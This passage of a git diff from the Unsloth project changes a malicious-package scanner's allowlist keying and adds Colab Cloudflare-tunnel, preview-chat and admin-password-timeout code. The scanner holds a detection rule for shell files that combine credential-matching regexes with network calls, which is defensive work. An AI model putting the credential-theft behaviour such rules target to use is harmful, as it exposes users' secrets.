@ -1249,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
package,
filename,
"Shell embeds credential regexes AND makes network calls",
_extract_evidence(content, RE_TOKEN_REGEX),
f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
if RE_WORKFLOW_INJECT.search(content):
@ -2516,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]:
# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can
# enforce without drowning in legitimate-library noise. Matched on
# ``(package, basename(filename), check)`` -- not evidence text -- so a version
# bump does not reopen a finding, but a *new* kind of finding in a listed file
# is a different check and still fails. Regenerate with ``--write-baseline``.
# (package, package-relative file, check, evidence hash); the hash strips
# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry,
# but changed flagged code does. Regenerate with ``--write-baseline``.
_DEFAULT_BASELINE_PATH = os.path.join(
os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"
@ -2545,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str:
return _RE_SDIST_ROOT.sub("", filename, count = 1)
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, package-relative path, check.
# Evidence joins matched spans with " | " and a newline between labelled groups,
# each span tagged "L<NN>: ". Split only on those real delimiters (a " | " before
# a marker, or a newline), never on a bare "|" -- matched code may contain a
# bitwise-or or union type. The prefix strips only a genuine leading marker, an
# optional "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g.
# a .pth import line) has no leading marker and is left intact.
_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")
_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")
The package-relative path (not just basename) keeps the key stable across
version bumps while still distinguishing same-named files like ``utils.py``.
def _canon_evidence(evidence: str) -> str:
"""Matched code lines in discovery order (markers removed), duplicates kept.
Splits evidence on its real span delimiters, drops each span's leading
label / line-number marker, and keeps the code with its indentation. Line
shifts are absorbed by stripping the L<NN>: markers, not by sorting, so order
stays significant: reordering matched lines (executable context, e.g. the
arguments of a multi-line call) reopens the finding. Keeping duplicates means
an appended identical occurrence still changes the key."""
spans = []
for s in _RE_EVIDENCE_SPLIT.split(evidence or ""):
s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip()
if s:
spans.append(s)
return "\n".join(spans)
def _evidence_hash(evidence: str) -> str:
"""Stable digest of the canonical matched evidence."""
return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest()
def _finding_key(f: Finding) -> tuple[str, str, str, str]:
"""Allowlist key: package, package-relative path, check, evidence hash.
The evidence hash is over the set of matched code, so the key survives version
bumps, line shifts and reordering but reopens when the flagged code changes --
so a future payload in a baselined file/check is not auto-suppressed.
"""
return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check)
return (
_norm_pkg(f.package),
_relpath_in_package(f.filename),
f.check,
_evidence_hash(f.evidence),
)
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
try:
with open(path, "r", encoding = "utf-8") as fh:
@ -2564,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
keys: set[tuple[str, str, str]] = set()
for e in data.get("entries", []):
if not isinstance(data, dict):
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
return set()
entries = data.get("entries", [])
if not isinstance(entries, list):
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
return set()
keys: set[tuple[str, str, str, str]] = set()
legacy = 0
for e in entries:
if not isinstance(e, dict):
continue
try:
keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"]))
# Use the reviewed hash; else recompute it from the stored evidence.
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
if not e.get("evidence_hash"):
legacy += 1
keys.add(
(
_norm_pkg(e["package"]),
_relpath_in_package(e["file"]),
e["check"],
evidence_hash,
)
)
except (KeyError, TypeError):
continue
if legacy:
print(
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
f"not suppress until regenerated with --write-baseline (findings reopen "
f"rather than risk hiding changed code under a coarse key)",
file = sys.stderr,
)
return keys
def _write_baseline(path: str, findings: list[Finding]) -> None:
"""Persist CRITICAL/HIGH findings as an allowlist for human triage."""
entries = []
seen: set[tuple[str, str, str]] = set()
seen: set[tuple[str, str, str, str]] = set()
for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)):
if f.severity not in (CRITICAL, HIGH):
continue
@ -2590,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
"file": _relpath_in_package(f.filename),
"check": f.check,
"severity": f.severity,
"evidence": f.evidence[:240],
"evidence": f.evidence,
"evidence_hash": _evidence_hash(f.evidence),
}
)
doc = {
"_comment": (
"scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding "
"manually judged benign. Matched on (package, package-relative file, "
"check); evidence/severity are for review only. Regenerate with "
"--write-baseline AFTER reviewing every line."
"check, evidence_hash); evidence_hash is over the matched code with "
"L<NN>: markers stripped, so version bumps and line shifts do not "
"reopen an entry but changed code does. severity and evidence are for "
"review only. Regenerate with --write-baseline AFTER reviewing every line."
),
"version": 1,
"entries": entries,
@ -2610,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
def _partition_baseline(
findings: list[Finding], baseline: set[tuple[str, str, str]]
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
) -> tuple[list[Finding], list[Finding]]:
"""Split findings into (active, suppressed) by allowlist membership."""
if not baseline:

841
scripts/scan_packages_baseline.json
View file

File diff suppressed because one or more lines are too long

29
scripts/verify_import_hoist.py
View file

@ -564,6 +564,12 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
for n, tids in b["module_import_targets"].items():
if tids & after_used:
continue # resolved -> fine
# `from __future__ import ...` is a compiler directive, not a runtime
# binding: the name (`annotations`, ...) is never loaded, so it can never
# "resolve" to a use. Skip it so a legitimately-added future import
# (e.g. `annotations` for lazy PEP 604 `X | None` on py3.9) is not flagged.
if all(t.startswith("from:__future__:") for t in tids):
continue
newly_added = bool(tids - before_module_targets)
was_used_before = bool(tids & before_used)
if newly_added or was_used_before:
@ -581,9 +587,30 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
)
# 3. TARGET-CHANGED (same scope+name resolves to a different import target)
# Only a *swap* is dangerous: a BEFORE target that is no longer reachable in
# AFTER means a reference was silently re-pointed. A pure superset growth
# (tbefore <= tafter) is the benign `import pkg.subA` + `import pkg.subB`
# case: both statements bind the same top-level name `pkg` to the same
# package object and only *add* submodule attributes (e.g. adding
# `import urllib.error` next to `import urllib.request`). Nothing the name
# resolved to before is lost, so no reference is re-pointed -- skip it.
#
# A deliberate *relocation* is also benign and must not block: when a name
# keeps its spelling but its import source is moved A -> B in THIS diff (the
# old `from A import x` is removed at module level and a new `from B import x`
# is added), the swap is intentional, not a silent re-point to a pre-existing
# different object. This mirrors the relocation tolerance already applied to
# TARGET-MISSING. The dangerous case -- the name now resolving to a target
# that already existed before (shadow/clash) -- is NOT exempted.
removed_module_targets = before_module_targets - after_module_targets
for key, tafter in b["target_by_use"].items():
tbefore = a["target_by_use"].get(key)
if tbefore and tbefore != tafter:
if tbefore and tbefore != tafter and (tbefore - tafter):
lost = tbefore - tafter
gained = tafter - tbefore
relocated = lost <= removed_module_targets and gained <= added_module_targets
if relocated:
continue
findings.append(
(
"BLOCKER",

2
studio/Unsloth_Studio_Colab.ipynb
View file

@ -84,7 +84,7 @@
"id": "277e431e"
},
"outputs": [],
"source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\nstart()"
"source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\n\n# Default: in-tab iframe only. start() blocks to keep the kernel alive.\nstart()\n\n# For a shareable Cloudflare link, replace start() above with:\n# start(cloudflare=True)"
},
{
"cell_type": "markdown",

9
studio/backend/assets/configs/inference_defaults.json
View file

@ -235,6 +235,13 @@
"min_p": 0.1,
"repetition_penalty": 1.0
},
"deepseek-v4": {
"temperature": 1.0,
"top_p": 1.0,
"top_k": -1,
"min_p": 0.0,
"repetition_penalty": 1.0
},
"deepseek-r1": {
"temperature": 0.6,
"top_p": 0.95,
@ -394,7 +401,7 @@
"phi-4", "phi-3",
"mistral-nemo", "mistral-small", "mistral-large", "magistral", "ministral",
"devstral", "pixtral",
"deepseek-r1", "deepseek-v3", "deepseek-ocr",
"deepseek-v4", "deepseek-r1", "deepseek-v3", "deepseek-ocr",
"glm-5", "glm-4",
"nemotron",
"minimax-m2.7", "minimax-m2.5", "minimax",

403
studio/backend/assets/preview_page.html Normal file
View file

@ -0,0 +1,403 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>__TITLE__ - Unsloth</title>
<style>
@font-face {
font-family: "Hellix";
src: url("/p/_assets/fonts/Hellix-Medium.woff") format("woff");
font-weight: 500;
font-display: swap;
}
@font-face {
font-family: "Hellix";
src: url("/p/_assets/fonts/Hellix-SemiBold.woff2") format("woff2");
font-weight: 600;
font-display: swap;
}
:root {
color-scheme: light dark;
--bg: #fefefd;
--fg: #0d0d0d;
--muted: #858279;
--border: #ececec;
--user-bubble: #f5f5f5;
--primary: #17b88b;
--composer-bg: #ffffff;
--composer-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
}
@media (prefers-color-scheme: dark) {
:root {
--bg: #1a1b1e;
--fg: #ececee;
--muted: #96979b;
--border: #3a3d42;
--user-bubble: #2d2e32;
--composer-bg: #2d2e32;
--composer-shadow: none;
}
}
* {
box-sizing: border-box;
}
html,
body {
height: 100%;
}
body {
margin: 0;
background: var(--bg);
color: var(--fg);
display: flex;
flex-direction: column;
font:
15.5px/1.6 "Inter",
"Inter Variable",
-apple-system,
BlinkMacSystemFont,
"Segoe UI",
system-ui,
sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.heading {
font-family: "Hellix", "Space Grotesk", system-ui, sans-serif;
}
header {
display: flex;
align-items: center;
gap: 9px;
padding: 14px 20px;
}
header img {
width: 22px;
height: 22px;
border-radius: 50%;
}
.brand {
font-family: "Hellix", "Space Grotesk", system-ui, sans-serif;
font-weight: 600;
font-size: 15px;
}
.model {
margin-left: auto;
max-width: 55%;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-size: 12.5px;
color: var(--muted);
}
#log {
flex: 1;
overflow-y: auto;
display: flex;
flex-direction: column;
padding: 8px 16px 24px;
}
#thread {
width: 100%;
max-width: 46.5rem;
margin: 0 auto;
display: flex;
flex-direction: column;
}
.welcome {
margin: auto;
text-align: center;
padding: 0 16px;
animation: fade 0.25s ease-out;
}
.welcome h1 {
margin: 0;
font-weight: 500;
font-size: 30px;
letter-spacing: -0.02em;
}
.welcome p {
margin: 0.55rem 0 0;
color: var(--muted);
font-size: 14px;
}
.msg {
font-size: 15.5px;
font-weight: 450;
letter-spacing: 0.01em;
word-wrap: break-word;
white-space: pre-wrap;
animation: fade 0.15s ease-out;
}
.user {
align-self: flex-end;
max-width: 80%;
margin-top: 24px;
padding: 10px 16px;
border-radius: 24px;
background: var(--user-bubble);
}
.assistant {
align-self: stretch;
margin-top: 16px;
line-height: 1.75;
}
.dots {
display: inline-flex;
gap: 5px;
align-items: center;
height: 1.6em;
}
.dots i {
width: 6px;
height: 6px;
border-radius: 50%;
background: var(--muted);
animation: blink 1.2s infinite;
}
.dots i:nth-child(2) {
animation-delay: 0.18s;
}
.dots i:nth-child(3) {
animation-delay: 0.36s;
}
.composer-wrap {
padding: 6px 16px 16px;
}
form {
width: 100%;
max-width: 46.5rem;
margin: 0 auto;
}
.composer {
display: flex;
align-items: flex-end;
gap: 8px;
padding: 8px 8px 8px 18px;
border-radius: 28px;
background: var(--composer-bg);
box-shadow: var(--composer-shadow);
}
textarea {
flex: 1;
border: 0;
outline: 0;
resize: none;
background: transparent;
color: var(--fg);
font: inherit;
line-height: 1.5;
max-height: 200px;
padding: 8px 0;
}
textarea::placeholder {
color: var(--muted);
}
.send {
flex-shrink: 0;
display: flex;
align-items: center;
justify-content: center;
width: 36px;
height: 36px;
border: 0;
border-radius: 50%;
background: var(--primary);
color: #fff;
cursor: pointer;
}
.send:disabled {
opacity: 0.4;
cursor: default;
}
.foot {
margin: 9px auto 0;
max-width: 46.5rem;
text-align: center;
font-size: 11px;
color: var(--muted);
}
@keyframes blink {
0%,
80%,
100% {
opacity: 0.25;
}
40% {
opacity: 1;
}
}
@keyframes fade {
from {
opacity: 0;
transform: translateY(2px);
}
to {
opacity: 1;
transform: none;
}
}
</style>
</head>
<body>
<header>
<img src="/p/_assets/circle-logo-small.png" alt="" /><span class="brand"
>Unsloth</span
><span class="model">__TITLE__</span>
</header>
<main id="log">
<div id="welcome" class="welcome">
<h1 class="heading">Chat with your model</h1>
<p>Fine-tuned with Unsloth</p>
</div>
<div id="thread"></div>
</main>
<div class="composer-wrap">
<form id="f">
<div class="composer">
<textarea
id="i"
rows="1"
autocomplete="off"
placeholder="Message this model..."
></textarea>
<button id="b" class="send" aria-label="Send">
<svg
width="18"
height="18"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2.2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M12 19V5" />
<path d="M5 12l7-7 7 7" />
</svg>
</button>
</div>
<div class="foot">Served by Unsloth Studio</div>
</form>
</div>
<script>
const base = location.pathname.replace(/\/+$/, "");
// The capability token rides in ?k=; location.pathname drops it, so carry it
// onto the chat request explicitly. Not stored or logged.
const k = new URLSearchParams(location.search).get("k");
const chatUrl =
base + "/v1/chat/completions" + (k ? "?k=" + encodeURIComponent(k) : "");
const log = document.getElementById("log"),
thread = document.getElementById("thread"),
welcome = document.getElementById("welcome");
const form = document.getElementById("f"),
input = document.getElementById("i"),
btn = document.getElementById("b");
const msgs = [];
const down = () => {
log.scrollTop = log.scrollHeight;
};
function autosize() {
input.style.height = "auto";
input.style.height = Math.min(input.scrollHeight, 200) + "px";
}
input.addEventListener("input", autosize);
input.addEventListener("keydown", (e) => {
if (e.isComposing || e.keyCode === 229) return;
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
// send() (not form.requestSubmit, unsupported on Safari < 16) guards the btn.
send();
}
});
function add(role) {
const d = document.createElement("div");
d.className = "msg " + role;
thread.appendChild(d);
down();
return d;
}
async function send() {
// One path for button + Enter; ignore while a request is in flight.
if (btn.disabled) return;
const content = input.value.trim();
if (!content) return;
if (welcome) welcome.style.display = "none";
input.value = "";
autosize();
btn.disabled = true;
msgs.push({ role: "user", content });
add("user").textContent = content;
const out = add("assistant");
out.innerHTML = '<span class="dots"><i></i><i></i><i></i></span>';
let acc = "";
try {
const r = await fetch(chatUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
model: "preview",
messages: msgs,
stream: true,
}),
});
if (!r.ok) {
out.textContent =
"Error " + r.status + ": " + (await r.text()).slice(0, 300);
msgs.pop();
input.value = content; // restore the prompt so the user can retry
autosize();
btn.disabled = false;
return;
}
const reader = r.body.getReader(),
dec = new TextDecoder();
let buf = "";
for (;;) {
const { value, done } = await reader.read();
if (done) break;
buf += dec.decode(value, { stream: true });
let i;
while ((i = buf.indexOf("\n")) >= 0) {
const line = buf.slice(0, i).trim();
buf = buf.slice(i + 1);
if (!line.startsWith("data:")) continue;
const data = line.slice(5).trim();
if (data === "[DONE]") continue;
try {
const j = JSON.parse(data);
const d =
j.choices &&
j.choices[0] &&
j.choices[0].delta &&
j.choices[0].delta.content;
if (d) {
acc += d;
out.textContent = acc;
down();
}
} catch (_) {}
}
}
if (!acc) out.textContent = "";
msgs.push({ role: "assistant", content: acc });
} catch (err) {
// Keep any streamed text, flag the break, restore the prompt for retry.
out.textContent = acc ? acc + "\n\n[connection lost]" : "Network error, please retry.";
msgs.pop();
input.value = content;
autosize();
}
btn.disabled = false;
input.focus();
}
form.addEventListener("submit", (e) => {
e.preventDefault();
send();
});
autosize();
input.focus();
</script>
</body>
</html>

11
studio/backend/auth/authentication.py
View file

@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend
)
async def authenticated_via_api_key(
credentials: HTTPAuthorizationCredentials = Depends(security),
) -> bool:
"""True when the caller used an sk-unsloth API key, not a UI session JWT.
Lets routes treat programmatic API callers differently from the Studio UI
(e.g. refuse a teardown the UI would allow).
"""
return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX))
async def get_current_subject_allow_password_change(
credentials: HTTPAuthorizationCredentials = Depends(security),
) -> str:

145
studio/backend/auth/bootstrap_timeout.py Normal file
View file

@ -0,0 +1,145 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Auto-shutdown for an exposed first-run Studio whose admin password is unchanged.
On a fresh install the seeded bootstrap admin password stays a valid login
credential until first login changes it. When the web UI is put on the network
(``--secure`` / ``0.0.0.0``) and nobody completes that first-login change within
a deadline, tear Studio down so a fresh, unconfigured instance does not stay
publicly reachable indefinitely. If the password was changed, Studio keeps
running.
Scope: web UI launches only (never ``--api-only``, which authenticates by API
key rather than the admin password, and never Colab). Configurable via
``UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT`` (seconds; default 3600; ``0`` disables).
"""
import os
import sys
import threading
BOOTSTRAP_TIMEOUT_ENV_VAR = "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT"
DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS = 3600
def bootstrap_timeout_seconds(env = None) -> int:
"""Resolve the deadline in seconds. ``0`` (or invalid/negative) disables it.
A malformed value falls back to the default rather than disabling, so a typo
cannot silently remove the protection.
"""
env = os.environ if env is None else env
raw = env.get(BOOTSTRAP_TIMEOUT_ENV_VAR)
if raw is None or raw.strip() == "":
return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
try:
value = int(raw)
except ValueError:
return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
return value if value > 0 else 0
def _is_exposed_bind(host: str, secure: bool) -> bool:
"""True when this launch puts the web UI on the network (tunnel or non-loopback)."""
if secure:
return True
if host in ("0.0.0.0", "::"):
return True
try:
from utils.host_policy import is_external_host
except Exception:
return False
return bool(is_external_host(host))
def should_arm_bootstrap_timeout(
*,
host: str,
secure: bool,
api_only: bool,
frontend_served: bool,
is_colab: bool,
requires_change: bool,
timeout_seconds: int,
) -> bool:
"""Whether to arm the deadline: only for an exposed web UI whose seeded admin
password is still unchanged. Pure decision (no I/O) for cheap unit testing."""
if timeout_seconds <= 0:
return False
if api_only or not frontend_served or is_colab:
return False
if not requires_change:
return False
return _is_exposed_bind(host, secure)
def _format_duration(seconds: int) -> str:
"""Human-friendly duration for the shutdown message (seconds under a minute)."""
def _plural(n: int, unit: str) -> str:
return f"{n} {unit}{'' if n == 1 else 's'}"
if seconds < 60:
return _plural(seconds, "second")
minutes, rem = divmod(seconds, 60)
label = _plural(minutes, "minute")
if rem:
label += f" {_plural(rem, 'second')}"
return label
def enforce_bootstrap_password_deadline(
storage,
trigger_shutdown,
*,
timeout_seconds: int,
logger = None,
) -> bool:
"""Deadline handler: shut down iff the seeded admin password is still unchanged.
Returns True if it shut Studio down, False if it left it running (the
password was changed in time).
"""
try:
still_default = storage.requires_password_change(storage.DEFAULT_ADMIN_USERNAME)
except Exception:
return False
if not still_default:
return False # password changed in time -> leave Studio running
message = (
"\nUnsloth Studio was exposed on the network but its default admin "
f"password was not changed within {_format_duration(timeout_seconds)}. "
"Shutting down to avoid leaving an unsecured public instance running.\n"
"Next time, sign in and change the password on first login, or set "
f"{BOOTSTRAP_TIMEOUT_ENV_VAR}=0 to disable this timeout."
)
if logger is not None:
logger.warning(message)
print(message, file = sys.stderr, flush = True)
try:
trigger_shutdown()
except Exception as e: # shutdown is best-effort; never raise from the timer
if logger is not None:
logger.warning("Bootstrap-timeout shutdown failed: %s", e)
return True
def arm_bootstrap_timeout(
storage,
trigger_shutdown,
*,
timeout_seconds: int,
logger = None,
) -> "threading.Timer":
"""Start a daemon timer that enforces the deadline. Returns the Timer."""
timer = threading.Timer(
timeout_seconds,
enforce_bootstrap_password_deadline,
args = (storage, trigger_shutdown),
kwargs = {"timeout_seconds": timeout_seconds, "logger": logger},
)
timer.daemon = True
timer.start()
return timer

68
studio/backend/auth/storage.py
View file

@ -110,6 +110,17 @@ def get_connection() -> sqlite3.Connection:
except OSError:
pass
conn.row_factory = sqlite3.Row
# WAL lets token reads run concurrently with refresh-token writes;
# busy_timeout bounds lock waits. Matches the other Studio SQLite stores.
# Set busy_timeout first: switching journal_mode needs a lock, so if a
# refresh-token write already holds one, journal_mode=WAL raises SQLITE_BUSY;
# with busy_timeout already in effect it waits instead of failing and leaving
# this connection on SQLite's default zero lock wait.
try:
conn.execute("PRAGMA busy_timeout=5000")
conn.execute("PRAGMA journal_mode=WAL")
except sqlite3.Error:
pass
conn.execute(
"""
CREATE TABLE IF NOT EXISTS auth_user (
@ -270,6 +281,63 @@ def compute_identity_proof(nonce: bytes, host: str, port: int) -> str:
return hmac.new(get_or_create_identity_secret(), msg, hashlib.sha256).hexdigest()
# Capability secret for public ``/p`` preview share links. HMAC(secret, ref)
# turns the deterministic preview ref into an unguessable bearer capability, so a
# guessed run/checkpoint name can't reach inference. Dedicated (not the per-user
# JWT secret) so rotating it revokes every shared link without touching logins.
_PREVIEW_LINK_SECRET_DB_KEY = "preview_link_secret"
_preview_link_secret_cache: Optional[bytes] = None
def get_or_create_preview_link_secret() -> bytes:
"""Return the preview-link signing secret (hex 32-byte row in app_secrets), creating it once."""
global _preview_link_secret_cache
if _preview_link_secret_cache is not None:
return _preview_link_secret_cache
conn = get_connection()
try:
row = conn.execute(
"SELECT value FROM app_secrets WHERE key = ?",
(_PREVIEW_LINK_SECRET_DB_KEY,),
).fetchone()
if row is None:
conn.execute(
"INSERT OR IGNORE INTO app_secrets (key, value) VALUES (?, ?)",
(_PREVIEW_LINK_SECRET_DB_KEY, secrets.token_hex(32)),
)
conn.commit()
row = conn.execute(
"SELECT value FROM app_secrets WHERE key = ?",
(_PREVIEW_LINK_SECRET_DB_KEY,),
).fetchone()
secret = bytes.fromhex(row["value"])
finally:
conn.close()
_preview_link_secret_cache = secret
return secret
def rotate_preview_link_secret() -> bytes:
"""Rotate the preview-link secret, immediately revoking every outstanding ``/p`` share link."""
global _preview_link_secret_cache
new_secret_hex = secrets.token_hex(32)
conn = get_connection()
try:
conn.execute(
"INSERT OR REPLACE INTO app_secrets (key, value) VALUES (?, ?)",
(_PREVIEW_LINK_SECRET_DB_KEY, new_secret_hex),
)
conn.commit()
finally:
conn.close()
secret = bytes.fromhex(new_secret_hex)
_preview_link_secret_cache = secret
return secret
_API_KEY_PBKDF2_ITERATIONS = 100_000
DESKTOP_SECRET_PREFIX = "desktop-"
_DESKTOP_SECRET_HASH_KEY = "desktop_secret_hash"

176
studio/backend/colab.py
View file

@ -103,24 +103,132 @@ def show_link(port: int = 8888, *, _url: "str | None" = None):
display(HTML(html))
def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool:
"""Return True if a Studio backend is already answering health checks on *port*."""
import urllib.request
def _bootstrap_password_pending() -> bool:
"""True while the default admin still owes a bootstrap-password change.
While pending, main.py injects that password into same-origin GETs, and a public
tunnel GET (no Origin) reads as same-origin, so sharing the link would leak admin
access. Fails safe to pending if the state cannot be read.
"""
try:
with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout):
return True
from auth.storage import requires_password_change, DEFAULT_ADMIN_USERNAME
return bool(requires_password_change(DEFAULT_ADMIN_USERNAME))
except Exception as e:
logger.info(f"Could not check admin password state ({e}); refusing tunnel to be safe.")
return True
def start_cloudflare_tunnel(port: int) -> "str | None":
"""Open a shareable Cloudflare quick tunnel to localhost:*port*, or None.
run_server suppresses the tunnel on Colab by design, so we start it directly.
Refused while the bootstrap password is pending; any failure collapses to None
and the Colab proxy still works.
"""
if _bootstrap_password_pending():
logger.warning(
"Cloudflare link not started: the admin account still has its temporary "
"bootstrap password, which is exposed to anyone who can load the page. "
"Open Studio in this tab, log in and change the admin password, then re-run "
"start(cloudflare=True) to get the shareable link."
)
return None
try:
from cloudflare_tunnel import start_studio_tunnel
except Exception as e:
logger.info(f"Cloudflare tunnel unavailable ({e}); using Colab proxy only.")
return None
try:
url = start_studio_tunnel(port)
except Exception as e:
logger.info(f"Cloudflare tunnel failed to start ({e}); using Colab proxy only.")
return None
# Success is logged by _show_and_embed; note only misses here.
if not url:
logger.info("Cloudflare tunnel did not produce a URL; using Colab proxy only.")
return url
def _publish_cloudflare_url(cloudflare_url: "str | None") -> None:
"""Publish a directly-started tunnel URL onto app.state so /api/health advertises it.
run_server only sets this when it opens the tunnel itself, which it skips on Colab,
so we set it here. Otherwise the frontend's API examples fall back to an
unreachable server_url. Best-effort.
"""
if not cloudflare_url:
return
try:
from main import app as _studio_app
_studio_app.state.cloudflare_url = cloudflare_url
except Exception as e:
logger.info(f"Could not publish Cloudflare URL to /api/health ({e}).")
def _stop_cloudflare_tunnel() -> None:
"""Best-effort teardown of the Cloudflare tunnel started by start_cloudflare_tunnel."""
try:
from cloudflare_tunnel import stop_studio_tunnel
stop_studio_tunnel()
except Exception:
pass
# Stop /api/health advertising a dead tunnel.
try:
from main import app as _studio_app
_studio_app.state.cloudflare_url = None
except Exception:
pass
def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool:
"""True only if Unsloth Studio (not some other app) answers /api/health on *port*.
The service-marker check stops the reuse path reusing or tunneling a foreign
process that merely serves /api/health.
"""
import json, urllib.request
try:
with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout) as r:
return json.loads(r.read()).get("service") == "Unsloth UI Backend"
except Exception:
return False
def _show_and_embed(port: int):
"""Embed the Studio inline for *port* with a branded header bar.
Fetches the proxy URL once (registering the port), then renders header bar +
iframe. Falls back to serve_kernel_port_as_iframe if IPython HTML is unavailable.
def _shareable_link_html(cloudflare_url: str) -> str:
"""Branded card for the shareable Cloudflare link, styled like the show_link banner."""
return f"""
<div style="display: inline-block; padding: 20px; background: #ffffff; border: 2px solid #000000;
border-radius: 12px; margin: 10px 0; font-family: system-ui, -apple-system, sans-serif;">
<h2 style="color: #000000; margin: 0 0 12px 0; font-size: 26px; font-weight: 800;
display: flex; align-items: center; gap: 12px;">
<img src="https://github.com/unslothai/unsloth/raw/main/studio/frontend/public/unsloth-gem.png"
height="48" style="display:block;">
Shareable Studio Link is Ready!
</h2>
<a href="{cloudflare_url}" onclick="var w=window.open(this.href,'_blank');if(!w){{return true;}}return false;"
style="display: inline-flex; align-items: center; gap: 10px; padding: 14px 28px;
background: #000000; color: white; text-decoration: none; border-radius: 8px;
font-weight: 800; font-size: 16px; cursor: pointer;">
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24" fill="white"><polygon points="5,3 19,12 5,21"/></svg>
Open Unsloth Studio
</a>
<p style="color: #333333; margin: 12px 0 0 0; font-size: 14px; font-weight: bold;">
This Cloudflare HTTPS link works from any device — share it with anyone. The Colab view below only works in this tab.
</p>
<p style="color: #333333; margin: 16px 0 0 0; font-size: 13px; font-family: monospace; font-weight: bold;">
🔗 {cloudflare_url}
</p>
</div>
"""
def _show_and_embed(port: int, *, cloudflare_url: "str | None" = None):
"""Render the Studio header + iframe for *port*, with a shareable-link card above
when *cloudflare_url* is set. Falls back to serve_kernel_port_as_iframe."""
url = get_colab_url(port)
logger.info(f"🌐 Unsloth Studio URL: {url}")
if cloudflare_url:
logger.info(f"🔗 Shareable Cloudflare link: {cloudflare_url}")
try:
from IPython.display import HTML, display
@ -136,6 +244,9 @@ def _show_and_embed(port: int):
except (ValueError, IndexError):
short_url = url
if cloudflare_url:
display(HTML(_shareable_link_html(cloudflare_url)))
display(
HTML(f"""
<div style="font-family:system-ui,-apple-system,sans-serif;margin:8px 0;
@ -164,13 +275,18 @@ def _show_and_embed(port: int):
pass
def start(port: int = 8888):
"""
Start Unsloth Studio server in Colab and display the URL.
def start(port: int = 8888, *, cloudflare: bool = False):
"""Start Unsloth Studio in Colab and display the URL.
Args:
port: Port to bind/serve on.
cloudflare: Opt in to a shareable Cloudflare HTTPS link reachable from any
device (default OFF). It exposes Studio's login page beyond Colab, so it
stays an explicit opt-in; the default shows only the in-tab proxy iframe.
Usage:
from colab import start
start()
start() # Colab-proxy iframe only (default)
start(cloudflare=True) # also open a shareable Cloudflare link
"""
import time
@ -180,13 +296,18 @@ def start(port: int = 8888):
# the port, so just re-show the link and iframe.
if _is_studio_healthy(port):
logger.info(f" Studio is already running on port {port} — reusing existing server.")
_show_and_embed(port)
# try/finally: tear the tunnel down even if interrupted mid-start/render.
try:
cf_url = start_cloudflare_tunnel(port) if cloudflare else None
_publish_cloudflare_url(cf_url)
_show_and_embed(port, cloudflare_url = cf_url)
for _ in range(10000):
time.sleep(300)
print("=", end = "", flush = True)
except KeyboardInterrupt:
logger.info("\nUnsloth Studio keepalive stopped.")
finally:
_stop_cloudflare_tunnel()
return
logger.info(" Loading backend...")
@ -202,7 +323,15 @@ def start(port: int = 8888):
logger.info(" Starting server...")
try:
